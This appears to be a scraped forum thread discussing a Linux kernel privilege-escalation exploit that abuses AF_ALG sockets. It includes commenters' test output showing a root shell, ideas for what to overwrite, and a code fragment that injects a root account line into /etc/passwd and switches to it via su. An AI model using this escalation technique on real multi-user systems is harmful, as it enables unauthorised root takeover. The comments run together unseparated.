>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root
jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.
Then I tested with local laptop with it:
```
$ uname -a
Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux
$ python3 copy_fail_exp.py
# cd /root && ls
bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap
```
It does provide the root access!
$ stat /bin/su
File: /bin/su
Size: 59552 Blocks: 118 IO Block: 59904 regular file
Device: 0,52 Inode: 796854 Links: 1
Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-09-18 13:23:03.117105665 -0500
Modify: 2021-02-13 05:15:56.000000000 -0600
Change: 2023-09-18 13:23:03.119105665 -0500
Birth: 2023-09-18 13:23:03.117105665 -0500
I'm not sure I have any setuid/setgid binaries that are world-readable...Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
f=g.open("/etc/passwd",0);
e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode()
...
g.system("/run/wrappers/bin/su - rkeene")EDIT: Sorry, I failed at reading your message. Never mind.
Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
You can also call it Debian 13.
Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
It's not that hard to find though:
$ cat /etc/debian_version
13.4Got:
OSError: [Errno 97] Address family not supported by protocol
I guess AF_ALG is not part of the Arch Linux LTS kernel?Edit:
Looks like on Arch you have to go out of your way to have this enabled.
$ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
CONFIG_CRYPTO_USER_API=m
CONFIG_CRYPTO_USER_API_HASH=m
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
CONFIG_CRYPTO_USER_API_AEAD=m
# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
$ uname -r
6.12.63-1-ltshttps://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)
https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
Why marketing though?
(You're not alone in this, BTW; I don't mean to single you out.)
> and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!
It's ironic that the one thing LLMs can't do reliably in this space is "write copy for humans" (I don't trust them for that either).
Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that's not uncommon for security researchers?